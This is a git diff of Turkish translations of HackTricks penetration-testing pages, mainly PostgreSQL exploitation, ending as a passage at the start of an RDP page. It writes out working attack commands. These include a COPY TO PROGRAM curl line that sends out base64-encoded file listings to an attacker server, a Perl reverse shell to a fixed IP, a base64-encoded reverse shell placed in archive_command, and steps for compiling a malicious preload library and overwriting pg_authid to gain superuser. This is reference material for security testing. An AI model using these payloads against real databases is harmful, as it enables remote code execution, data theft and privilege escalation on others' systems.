lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64')) SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}') ``` -7. _(İsteğe bağlı olarak)_ Pahalı bir SQL sorgusu çalıştırarak bellek içi tablo önbelleğini temizleyin +7. _(İsteğe bağlı olarak)_ Pahalı bir SQL sorgusu çalıştırarak bellek içi tablo önbelleğini temizleyin ```sql SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) ``` -8. Artık PostgreSQL'de güncellenmiş tablo değerlerini görmelisiniz. +8. PostgreSQL'de güncellenmiş tablo değerlerini görmelisiniz. `pg_authid` tablosunu düzenleyerek süper yönetici de olabilirsiniz. **Aşağıdaki bölüme** [**bakın**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables). @@ -411,11 +405,11 @@ SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) ### **Programa RCE** -[9.3 sürümünden](https://www.postgresql.org/docs/9.3/release-9-3.html) itibaren yalnızca **süper kullanıcılar** ve **`pg_execute_server_program`** grubunun üyeleri RCE için kopyalamayı kullanabilir (veri sızdırma örneği ile: +[9.3 sürümünden](https://www.postgresql.org/docs/9.3/release-9-3.html) itibaren yalnızca **süper kullanıcılar** ve **`pg_execute_server_program`** grubunun üyeleri, RCE için kopyalamayı kullanabilir (veri sızdırma örneğiyle birlikte: ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` -Örnek yürütmek için: +Örnek yürütme: ```bash #PoC DROP TABLE IF EXISTS cmd_exec; @@ -429,7 +423,7 @@ DROP TABLE IF EXISTS cmd_exec; COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; ``` {% hint style="warning" %} -Unutmayın ki süper kullanıcı değilseniz ancak **`CREATEROLE`** izinlerine sahipseniz **kendinizi o gruba üye yapabilirsiniz:** +Unutmayın ki süper kullanıcı değilseniz ancak **`CREATEROLE`** izinlerine sahipseniz, **kendinizi o gruba üye yapabilirsiniz:** ```sql GRANT pg_execute_server_program TO username; ``` @@ -456,21 +450,21 @@ Bu zafiyet hakkında daha fazla bilgiye [**buradan**](https://medium.com/greenwo ### PostgreSQL yapılandırma dosyası RCE {% hint style="info" %} -Aşağıdaki RCE vektörleri özellikle kısıtlanmış SQLi bağlamlarında kullanışlıdır, çünkü tüm adımlar iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebilir. +Aşağıdaki RCE vektörleri, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği kısıtlı SQLi bağlamlarında özellikle kullanışlıdır. {% endhint %} -PostgreSQL'nin **yapılandırma dosyası**, veritabanını çalıştıran **postgres kullanıcısı** tarafından **yazılabilir**, bu nedenle **süper kullanıcı** olarak dosyaları dosya sisteminde yazabilir ve dolayısıyla bu dosyayı **üzerine yazabilirsiniz.** +PostgreSQL'nin **yapılandırma dosyası**, veritabanını çalıştıran **postgres kullanıcısı** tarafından **yazılabilir**, bu nedenle **süper kullanıcı** olarak dosyaları dosya sistemine yazabilir ve dolayısıyla bu dosyayı **üzerine yazabilirsiniz.** ![](<../.gitbook/assets/image (303).png>) #### **ssl\_passphrase\_command ile RCE** -Bu tekniğe ilişkin daha fazla bilgiye [buradan ulaşabilirsiniz](https://pulsesecurity.co.nz/articles/postgres-sqli). +Bu tekniğe dair daha fazla bilgiye [buradan ulaşabilirsiniz](https://pulsesecurity.co.nz/articles/postgres-sqli). Yapılandırma dosyasında RCE'ye yol açabilecek bazı ilginç özellikler bulunmaktadır: * `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Veritabanının özel anahtarının yolunu belirtir -* `ssl_passphrase_command = ''` Özel dosya şifre ile korunuyorsa, postgresql bu özelliğe belirtilen komutu **çalıştıracaktır**. +* `ssl_passphrase_command = ''` Özel dosya şifre ile korunuyorsa (şifrelenmiş) postgresql bu özelliğe belirtilen komutu **çalıştıracaktır**. * `ssl_passphrase_command_supports_reload = off` Bu özellik **açıksa**, anahtar şifre ile korunuyorsa **komut** `pg_reload_conf()` **çalıştırıldığında** **çalıştırılacaktır**. Bu durumda, bir saldırganın yapması gerekenler: @@ -485,40 +479,40 @@ Bu durumda, bir saldırganın yapması gerekenler: 2. `ssl_passphrase_command_supports_reload = on` 6. `pg_reload_conf()`'yi çalıştırın -Bu test sırasında fark ettiğim bir şey, bu işlemin yalnızca **özel anahtar dosyasının 640 ayrıcalıklara sahip olması**, **root** tarafından **sahiplenilmesi** ve **ssl-cert veya postgres** grubuna ait olması gerektiğidir (bu nedenle postgres kullanıcısı okuyabilir) ve _/var/lib/postgresql/12/main_ dizininde bulunması gerektiğidir. +Bu test sırasında fark ettiğim bir şey, bu işlemin yalnızca **özel anahtar dosyasının 640 ayrıcalıklara sahip olması durumunda çalışacağıdır**, **root** tarafından **sahiplenilmiş** ve **ssl-cert veya postgres** grubuna ait (bu nedenle postgres kullanıcısı okuyabilir), ve _/var/lib/postgresql/12/main_ dizininde bulunması gerektiğidir. #### **archive\_command ile RCE** Bu yapılandırma ve WAL hakkında daha fazla [bilgiye buradan](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)** ulaşabilirsiniz**. -Saldırıya açık olan başka bir özellik, `archive_command` adlı yapılandırma dosyasındadır. +Saldırıya açık başka bir özellik, `archive_command` adlı yapılandırma dosyasındadır. -Bu işlem çalışması için `archive_mode` ayarının `'on'` veya `'always'` olması gerekmektedir. Bu doğruysa, `archive_command` içindeki komutu üzerine yazabilir ve WAL (write-ahead logging) işlemleri aracılığıyla çalışmasını zorlayabiliriz. +Bu işlem için `archive_mode` ayarının `'on'` veya `'always'` olması gerekmektedir. Eğer bu doğruysa, `archive_command` içindeki komutu üzerine yazabilir ve WAL (write-ahead logging) işlemleri aracılığıyla çalışmasını zorlayabiliriz. Genel adımlar şunlardır: 1. Arşiv modunun etkin olup olmadığını kontrol edin: `SELECT current_setting('archive_mode')` 2. `archive_command`'ı payload ile üzerine yazın. Örneğin, ters kabuk için: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'` 3. Yapılandırmayı yeniden yükleyin: `SELECT pg_reload_conf()` -4. Arşiv işleminin çalışmasını zorlayın, bu da arşiv komutunu çağıracaktır: Bazı Postgres sürümleri için `SELECT pg_switch_wal()` veya `SELECT pg_switch_xlog()` +4. Arşiv işleminin çalışmasını zorlamak için WAL işlemini çalıştırın: Bazı Postgres sürümleri için `SELECT pg_switch_wal()` veya `SELECT pg_switch_xlog()` #### **preload kütüphaneleri ile RCE** -Bu tekniğe ilişkin daha fazla bilgiye [buradan ulaşabilirsiniz](https://adeadfed.com/posts/postgresql-select-only-rce/). +Bu tekniğe dair daha fazla bilgiye [buradan ulaşabilirsiniz](https://adeadfed.com/posts/postgresql-select-only-rce/). Bu saldırı vektörü, aşağıdaki yapılandırma değişkenlerinden faydalanır: * `session_preload_libraries` -- PostgreSQL sunucusunun istemci bağlantısında yüklenecek kütüphaneler. * `dynamic_library_path` -- PostgreSQL sunucusunun kütüphaneleri arayacağı dizinlerin listesi. -`dynamic_library_path` değerini, veritabanını çalıştıran `postgres` kullanıcısının yazma iznine sahip olduğu bir dizine, örneğin `/tmp/` dizinine ayarlayabilir ve oraya zararlı bir `.so` nesnesi yükleyebiliriz. Daha sonra, PostgreSQL sunucusunu yeni yüklenen kütüphanemizi `session_preload_libraries` değişkenine dahil ederek yüklemeye zorlayacağız. +`dynamic_library_path` değerini, veritabanını çalıştıran `postgres` kullanıcısı tarafından yazılabilir bir dizine, örneğin `/tmp/` dizinine ayarlayabilir ve oraya zararlı bir `.so` nesnesi yükleyebiliriz. Sonrasında PostgreSQL sunucusunu, yeni yüklediğimiz kütüphaneyi `session_preload_libraries` değişkenine dahil ederek yüklemeye zorlayacağız. Saldırı adımları şunlardır: 1. Orijinal `postgresql.conf` dosyasını indirin 2. `dynamic_library_path` değerine `/tmp/` dizinini dahil edin, örneğin `dynamic_library_path = '/tmp:$libdir'` -3. Zararlı kütüphane adını `session_preload_libraries` değerine dahil edin, örneğin `session_preload_libraries = 'payload.so'` -4. `SELECT version()` sorgusu aracılığıyla ana PostgreSQL sürümünü kontrol edin +3. `session_preload_libraries` değerine zararlı kütüphane adını dahil edin, örneğin `session_preload_libraries = 'payload.so'` +4. `SELECT version()` sorgusu ile PostgreSQL ana sürümünü kontrol edin 5. Doğru PostgreSQL geliştirme paketi ile zararlı kütüphane kodunu derleyin Örnek kod: ```c @@ -573,11 +567,11 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so ### CREATEROLE Yetki Yükseltme -#### **Verme** +#### **Grant** -[**Belgelere**](https://www.postgresql.org/docs/13/sql-grant.html) göre: _**`CREATEROLE`** yetkisine sahip roller, **süper kullanıcı olmayan** herhangi bir role **üyelik verme veya geri alma** yetkisine sahiptir._ +[**Belgelere**](https://www.postgresql.org/docs/13/sql-grant.html) göre: _**CREATEROLE** yetkisine sahip roller, **süper kullanıcı olmayan** herhangi bir role **üyelik verip veya geri çekebilir**._ -Bu nedenle, **`CREATEROLE`** iznine sahipseniz, kendinize diğer **roller** (süper kullanıcı olmayan) erişim izni verebilir ve dosyaları okuma & yazma ve komutları çalıştırma seçeneğine sahip olabilirsiniz: +Yani, eğer **`CREATEROLE`** izniniz varsa, kendinize diğer **roller** (süper kullanıcı olmayanlar) erişim izni verebilirsiniz, bu da size dosyaları okuma ve yazma ile komutları çalıştırma seçeneği sunabilir: ```sql # Access to execute commands GRANT pg_execute_server_program TO username; @@ -588,19 +582,19 @@ GRANT pg_write_server_files TO username; ``` #### Parolayı Değiştir -Bu roldeki kullanıcılar diğer **süper olmayan kullanıcıların** parolalarını da **değiştirebilirler**: +Bu roldeki kullanıcılar ayrıca diğer **süper olmayan kullanıcıların** parolalarını da **değiştirebilirler**: ```sql #Change password ALTER USER user_name WITH PASSWORD 'new_password'; ``` -#### SUPERUSER'a Yükseltme +#### SUPERUSER Yetkisine Yükseltme -**Yerel kullanıcıların herhangi bir şifre sağlamadan PostgreSQL'e giriş yapabildiğini sıkça görmek oldukça yaygındır**. Bu nedenle, **kodları yürütme izinlerini topladığınızda**, bu izinleri kötüye kullanarak **`SUPERUSER`** rolünü elde edebilirsiniz: +Genellikle **yerel kullanıcıların PostgreSQL'e herhangi bir şifre sağlamadan giriş yapabileceğini** görmek oldukça yaygındır. Bu nedenle, **kodları yürütme izinlerini topladığınızda**, bu izinleri kötüye kullanarak **`SUPERUSER`** rolünü elde edebilirsiniz: ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` {% hint style="info" %} -Bu genellikle **`pg_hba.conf`** dosyasındaki aşağıdaki satırlar sayesinde mümkün olur: +Bu genellikle **`pg_hba.conf`** dosyasındaki aşağıdaki satırlar nedeniyle mümkündür: ```bash # "local" is for Unix domain socket connections only local all all trust @@ -615,11 +609,11 @@ host all all ::1/128 trust [**Bu yazıda**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) Postgres GCP'de **privesc** yapmanın, kullanıcıya verilen ALTER TABLE ayrıcalığını kötüye kullanarak nasıl mümkün olduğu açıklanmaktadır. -Bir **başka kullanıcıyı bir tablonun sahibi yapmaya** çalıştığınızda, bunu engelleyen bir **hata** almanız gerektiği, ancak GCP'nin bu **seçeneği GCP'deki süper kullanıcı olmayan postgres kullanıcısına** verdiği anlaşılmaktadır: +Bir **başka kullanıcıyı bir tablonun sahibi yapmaya** çalıştığınızda, bunu engelleyen bir **hata** almanız gerektiği, ancak görünüşe göre GCP'nin bu **seçeneği GCP'deki süper kullanıcı olmayan postgres kullanıcısına** verdiği belirtilmektedir:
-Bu fikri, **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komutlarının **bir indeks işlevine sahip bir tabloda** çalıştırıldığında, **işlevin** komutun bir parçası olarak **çağrıldığı ve tablonun sahibinin izinleriyle** çalıştığı gerçeğiyle birleştirerek, bir indeks oluşturmak ve bu tabloya sahip bir **süper kullanıcıya sahip izinler vermek ve ardından sahibin izinleri kullanılarak komutları yürütebilecek kötü niyetli bir işlevle tabloyu ANALYZE etmek mümkündür. +Bu fikri, **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komutlarının **bir indeks işlevine sahip bir tabloda** çalıştırıldığında, **işlevin** komutun bir parçası olarak **çağrıldığı ve tablonun sahibinin izinleriyle** çalıştığı gerçeğiyle birleştirerek, bir indeks oluşturmak ve bu tabloya sahip izinleri bir **süper kullanıcıya** vermek ve ardından sahibin izinlerini kullandığı için komutları yürütebilecek olan kötü niyetli bir işlevle tabloyu ANALYZE etmek mümkündür. ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, @@ -631,7 +625,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION); 2. Tabloya anlamsız içerik ekleyerek dizin işlevi için veri sağlayın. 3. Yetkisiz komutların yürütülmesine izin veren bir kod yürütme yükü içeren kötü amaçlı bir dizin işlevi geliştirin. 4. Tablonun sahibini "cloudsqladmin" olarak DEĞİŞTİRİN, bu GCP'nin özel olarak Cloud SQL tarafından veritabanını yönetmek ve sürdürmek için kullanılan süper kullanıcı rolüdür. -5. Tablo üzerinde bir ANALYZE işlemi gerçekleştirin. Bu işlem, PostgreSQL motorunu tablonun sahibi olan "cloudsqladmin" kullanıcı bağlamına geçmeye zorlar. Sonuç olarak, kötü amaçlı dizin işlevi "cloudsqladmin" izinleriyle çağrılır ve bu da önceden izinsiz kabul edilen kabuk komutunun yürütülmesini sağlar. +5. Tablo üzerinde bir ANALYZE işlemi gerçekleştirin. Bu işlem, PostgreSQL motorunu tablonun sahibi olan "cloudsqladmin" kullanıcı bağlamına geçmeye zorlar. Sonuç olarak, kötü amaçlı dizin işlevi "cloudsqladmin" izinleriyle çağrılır ve bu da önceden izinsiz yürütülen kabuk komutlarının yürütülmesini sağlar. PostgreSQL'de, bu akış şöyle görünür: ```sql @@ -660,7 +654,7 @@ uid=2345(postgres) gid=2345(postgres) groups=2345(postgres) ``` ### Yerel Giriş -Bazı yanlış yapılandırılmış postgresql örnekleri, herhangi bir yerel kullanıcının girişine izin verebilir, 127.0.0.1'den **`dblink` fonksiyonu** kullanılarak yerel giriş yapmak mümkündür: +Bazı yanlış yapılandırılmış postgresql örnekleri, herhangi bir yerel kullanıcının girişine izin verebilir, 127.0.0.1'den **`dblink` fonksiyonu** kullanılarak yerel giriş yapılabilir: ```sql \du * # Get Users \l # Get databases @@ -693,7 +687,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; ``` ### **Güvenlik Tanımlayıcısı ile Özel Tanımlı Fonksiyon** -[**Bu yazıda**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentester'lar, IBM tarafından sağlanan bir postgres örneğinde **bu fonksiyonu buldukları için** içeride bir ayrıcalık yükseltme gerçekleştirebildiler: +[**Bu yazıda**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentester'lar, IBM tarafından sağlanan bir postgres örneğinde **bu güvenlik tanımlayıcısı bayrağıyla** bulunan bir fonksiyon nedeniyle ayrıcalıklarını yükseltebildiler:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
 RETURNS text
@@ -714,9 +708,9 @@ PERFORM dblink_disconnect();
 …
 
-[**Belgelerde açıklandığı gibi**](https://www.postgresql.org/docs/current/sql-createfunction.html) **SECURITY DEFINER ile bir fonksiyon**, onu **sahip olan kullanıcının ayrıcalıklarıyla** yürütülür. Bu nedenle, eğer fonksiyon **SQL Enjeksiyonuna duyarlı ise** veya **saldırgan tarafından kontrol edilen parametrelerle ayrıcalıklı işlemler gerçekleştiriyorsa**, postgres içinde **ayrıcalıkları yükseltmek için kötüye kullanılabilir**. +[**Belgelerde açıklandığı gibi**](https://www.postgresql.org/docs/current/sql-createfunction.html) **SECURITY DEFINER ile** bir fonksiyon, **onu sahip olan kullanıcının ayrıcalıklarıyla** yürütülür. Bu nedenle, eğer fonksiyon **SQL Enjeksiyonuna duyarlıysa** veya **saldırgan tarafından kontrol edilen parametrelerle ayrıcalıklı işlemler yapıyorsa**, postgres içinde **ayrıcalıkları yükseltmek için kötüye kullanılabilir**. -Önceki kodun 4. satırında fonksiyonun **SECURITY DEFINER** bayrağı olduğunu görebilirsiniz. +Önceki kodun 4. satırında fonksiyonun **SECURITY DEFINER** bayrağına sahip olduğunu görebilirsiniz. ```sql CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication @@ -726,9 +720,9 @@ Ve sonra **komutları çalıştır**:
-### PL/pgSQL ile Brute Force Yöntemi +### PL/pgSQL ile Brute Force Yöntemi Kullanarak Parola Kırma -**PL/pgSQL**, SQL'e kıyasla daha fazla işlem kontrolü sunan **tam özellikli bir programlama dilidir**. Program mantığını geliştirmek için **döngüler** ve diğer **kontrol yapıları** kullanılmasını sağlar. Ayrıca, **SQL ifadeleri** ve **tetikleyiciler**, **PL/pgSQL dilini** kullanarak oluşturulan fonksiyonları çağırma yeteneğine sahiptir. Bu entegrasyon, veritabanı programlaması ve otomasyonu için daha kapsamlı ve esnek bir yaklaşım sağlar.\ +**PL/pgSQL**, SQL'e kıyasla daha fazla işlem kontrolü sunan **tam özellikli bir programlama dilidir**. Program mantığını geliştirmek için **döngüler** ve diğer **kontrol yapıları** kullanımını sağlar. Ayrıca, **SQL ifadeleri** ve **tetikleyiciler**, **PL/pgSQL dilini** kullanarak oluşturulan fonksiyonları çağırma yeteneğine sahiptir. Bu entegrasyon, veritabanı programlaması ve otomasyonu için daha kapsamlı ve esnek bir yaklaşım sağlar.\ **Bu dilin kötüye kullanılmasıyla PostgreSQL'den kullanıcı kimlik bilgilerini brute force yöntemiyle çalabilirsiniz.** {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} @@ -738,21 +732,21 @@ Ve sonra **komutları çalıştır**: ### Dahili PostgreSQL Tablolarını Üzerine Yazarak İstek Yükseltme {% hint style="info" %} -Aşağıdaki istek yükseltme vektörü, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği sınırlı SQLi bağlamlarında özellikle kullanışlıdır. +Aşağıdaki istek yükseltme vektörü, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği kısıtlı SQLi bağlamlarında özellikle kullanışlıdır. {% endhint %} -Eğer **PostgreSQL sunucu dosyalarını okuyup yazabilirseniz**, PostgreSQL üzerindeki diskteki `pg_authid` tablosuyla ilişkilendirilen filenode'u üzerine yazarak **bir süper kullanıcı olabilirsiniz**. +Eğer **PostgreSQL sunucu dosyalarını okuyup yazabiliyorsanız**, PostgreSQL üzerindeki diskteki dosya düğümünü, dahili `pg_authid` tablosu ile ilişkilendirilmiş olanı üzerine yazarak **süper kullanıcı** olabilirsiniz. Bu tekniğe ilişkin daha fazla bilgiye [**buradan**](https://adeadfed.com/posts/updating-postgresql-data-without-update/) ulaşabilirsiniz. Saldırı adımları şunlardır: 1. PostgreSQL veri dizinini elde et -2. `pg_authid` tablosuyla ilişkilendirilen filenode'a göre göreceli bir yol elde et -3. `lo_*` fonksiyonları aracılığıyla filenode'u indir -4. `pg_authid` tablosuyla ilişkilendirilen veri türünü al -5. [PostgreSQL Filenode Düzenleyici](https://github.com/adeadfed/postgresql-filenode-editor)'yi kullanarak filenode'u düzenle; tüm `rol*` boolean bayraklarını tam izinler için 1 olarak ayarla. -6. Düzenlenmiş filenode'u `lo_*` fonksiyonları aracılığıyla yeniden yükle ve diske orijinal dosyayı üzerine yaz +2. `pg_authid` tablosu ile ilişkilendirilmiş dosya düğümüne göre göreceli bir yol elde et +3. `lo_*` fonksiyonları aracılığıyla dosya düğümünü indir +4. `pg_authid` tablosu ile ilişkilendirilmiş veri türünü al +5. [PostgreSQL Dosya Düğümü Düzenleyici](https://github.com/adeadfed/postgresql-filenode-editor)'yi kullanarak dosya düğümünü [düzenle](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); tüm `rol*` boolean bayraklarını 1 olarak ayarla ve tam izinler ver +6. Düzenlenmiş dosya düğümünü `lo_*` fonksiyonları aracılığıyla tekrar yükle ve diskteki orijinal dosyayı üzerine yaz 7. _(İsteğe bağlı olarak)_ Pahalı bir SQL sorgusunu çalıştırarak bellek içi tablo önbelleğini temizle 8. Artık tam bir süper yönetici ayrıcalıklarına sahip olmalısınız. @@ -766,7 +760,7 @@ msf> use exploit/windows/postgres/postgres_payload ``` ### günlüğe kaydetme -_**postgresql.conf**_ dosyası içinde postgresql günlüklerini etkinleştirebilirsiniz, değiştirerek: +_**postgresql.conf**_ dosyası içinde postgresql günlüklerini etkinleştirebilirsiniz değiştirerek: ```bash log_statement = 'all' log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' @@ -790,6 +784,28 @@ string pgadmin4.db ``` ### pg\_hba -PostgreSQL'de istemci kimlik doğrulaması **pg\_hba.conf** adlı bir yapılandırma dosyası aracılığıyla yönetilir. Bu dosya, her biri bir bağlantı türünü, istemci IP adresi aralığını (uygulanabilirse), veritabanı adını, kullanıcı adını ve eşleşen bağlantılar için kullanılacak kimlik doğrulama yöntemini belirten bir dizi kayıt içerir. Bağlantı türü, istemci adresi, istenen veritabanı ve kullanıcı adıyla eşleşen ilk kayıt kimlik doğrulaması için kullanılır. Kimlik doğrulaması başarısız olursa geriye dönüş veya yedek yoktur. Eşleşen kayıt yoksa erişim reddedilir. +PostgreSQL'de istemci kimlik doğrulaması **pg\_hba.conf** adlı bir yapılandırma dosyası aracılığıyla yönetilir. Bu dosya, her biri bir bağlantı türünü, istemci IP adres aralığını (uygulanabilirse), veritabanı adını, kullanıcı adını ve eşleşen bağlantılar için kullanılacak kimlik doğrulama yöntemini belirten bir dizi kayıt içerir. Bağlantı türü, istemci adresi, istenen veritabanı ve kullanıcı adıyla eşleşen ilk kayıt kimlik doğrulaması için kullanılır. Kimlik doğrulaması başarısız olursa geriye dönüş veya yedek yoktur. Eşleşen kayıt yoksa, erişim reddedilir. -pg\_hba.conf'deki mevcut şifre tabanlı kimlik doğrulama yöntemleri **md5**, **crypt** ve **password**'dur. Bu yöntemler, şifrenin nasıl iletildiğinde farklılık gösterir: MD5-hashed, crypt-encrypted veya açık metin. Önemli bir not olarak, crypt yöntemi pg\_authid'de şifrelenmiş şifrelerle kullanılamaz. +pg\_hba.conf'deki mevcut şifre tabanlı kimlik doğrulama yöntemleri **md5**, **crypt** ve **password**'dur. Bu yöntemler, şifrenin nasıl iletildiğinde farklılık gösterir: MD5-hashlenmiş, crypt-şifrelenmiş veya açık metin. Önemli bir not olarak, crypt yöntemi pg\_authid'de şifrelenmiş şifrelerle kullanılamaz. + +
+ +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! + +HackTricks'ı desteklemenin diğer yolları: + +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. + +
+ +
+ +\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +Bugün Erişim Alın: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/network-services-pentesting/pentesting-rdp.md b/network-services-pentesting/pentesting-rdp.md index cb67fd444..87be5bff3 100644 --- a/network-services-pentesting/pentesting-rdp.md +++ b/network-services-pentesting/pentesting-rdp.md @@ -2,34 +2,34 @@
-AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)öğrenin! +AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
-**Hemen kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle birlikte her yerden tam bir pentest çalıştırın. Bu araçlar ve modüller, pentester'ları değiştirmez - onlara daha derine kazma, kabukları patlatma ve eğlenme zamanı kazandırmak için özel olarak geliştirilmiştir. +**Vulnerability assessment & penetration testing için anında kullanılabilir kurulum**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, shell'ler açmak ve eğlenmek için zaman kazanmalarını sağlıyoruz. {% embed url="https://pentest-tools.com/" %} ## Temel Bilgiler -Microsoft tarafından geliştirilen **Uzak Masaüstü Protokolü** (**RDP**), bilgisayarlar arasında ağ üzerinden grafik arayüz bağlantısı kurmayı sağlamak için tasarlanmıştır. Bu tür bir bağlantı kurmak için kullanıcı tarafından **RDP** istemci yazılımı kullanılırken, aynı anda uzak bilgisayarın **RDP** sunucu yazılımını çalıştırması gerekmektedir. Bu kurulum, uzak bir bilgisayarın masaüstü ortamının sorunsuz kontrol ve erişimini sağlar ve temel olarak kullanıcının yerel cihazına arayüzünü getirir. +Microsoft tarafından geliştirilen **Remote Desktop Protocol** (**RDP**), bilgisayarlar arasında ağ üzerinden grafik arayüz bağlantısını sağlamak amacıyla tasarlanmıştır. Bu tür bir bağlantı kurmak için kullanıcı tarafından **RDP** istemci yazılımı kullanılır ve aynı anda uzak bilgisayarın **RDP** sunucu yazılımını çalıştırması gerekir. Bu kurulum, uzak bir bilgisayarın masaüstü ortamının sorunsuz kontrol ve erişimine olanak tanır, esasen kullanıcının yerel cihazına arayüzünü getirir. **Varsayılan port:** 3389 ``` PORT STATE SERVICE 3389/tcp open ms-wbt-server ``` -## Numaralandırma +## Sıralama ### Otomatik @@ -39,13 +39,13 @@ nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 338 ``` {% endcode %} -Bu, mevcut şifreleme ve DoS zafiyetini kontrol eder (hizmete DoS yapmadan) ve NTLM Windows bilgilerini (sürümleri) elde eder. +Mevcut şifreleme ve DoS zafiyetini kontrol eder (hizmete DoS saldırısı yapmadan) ve NTLM Windows 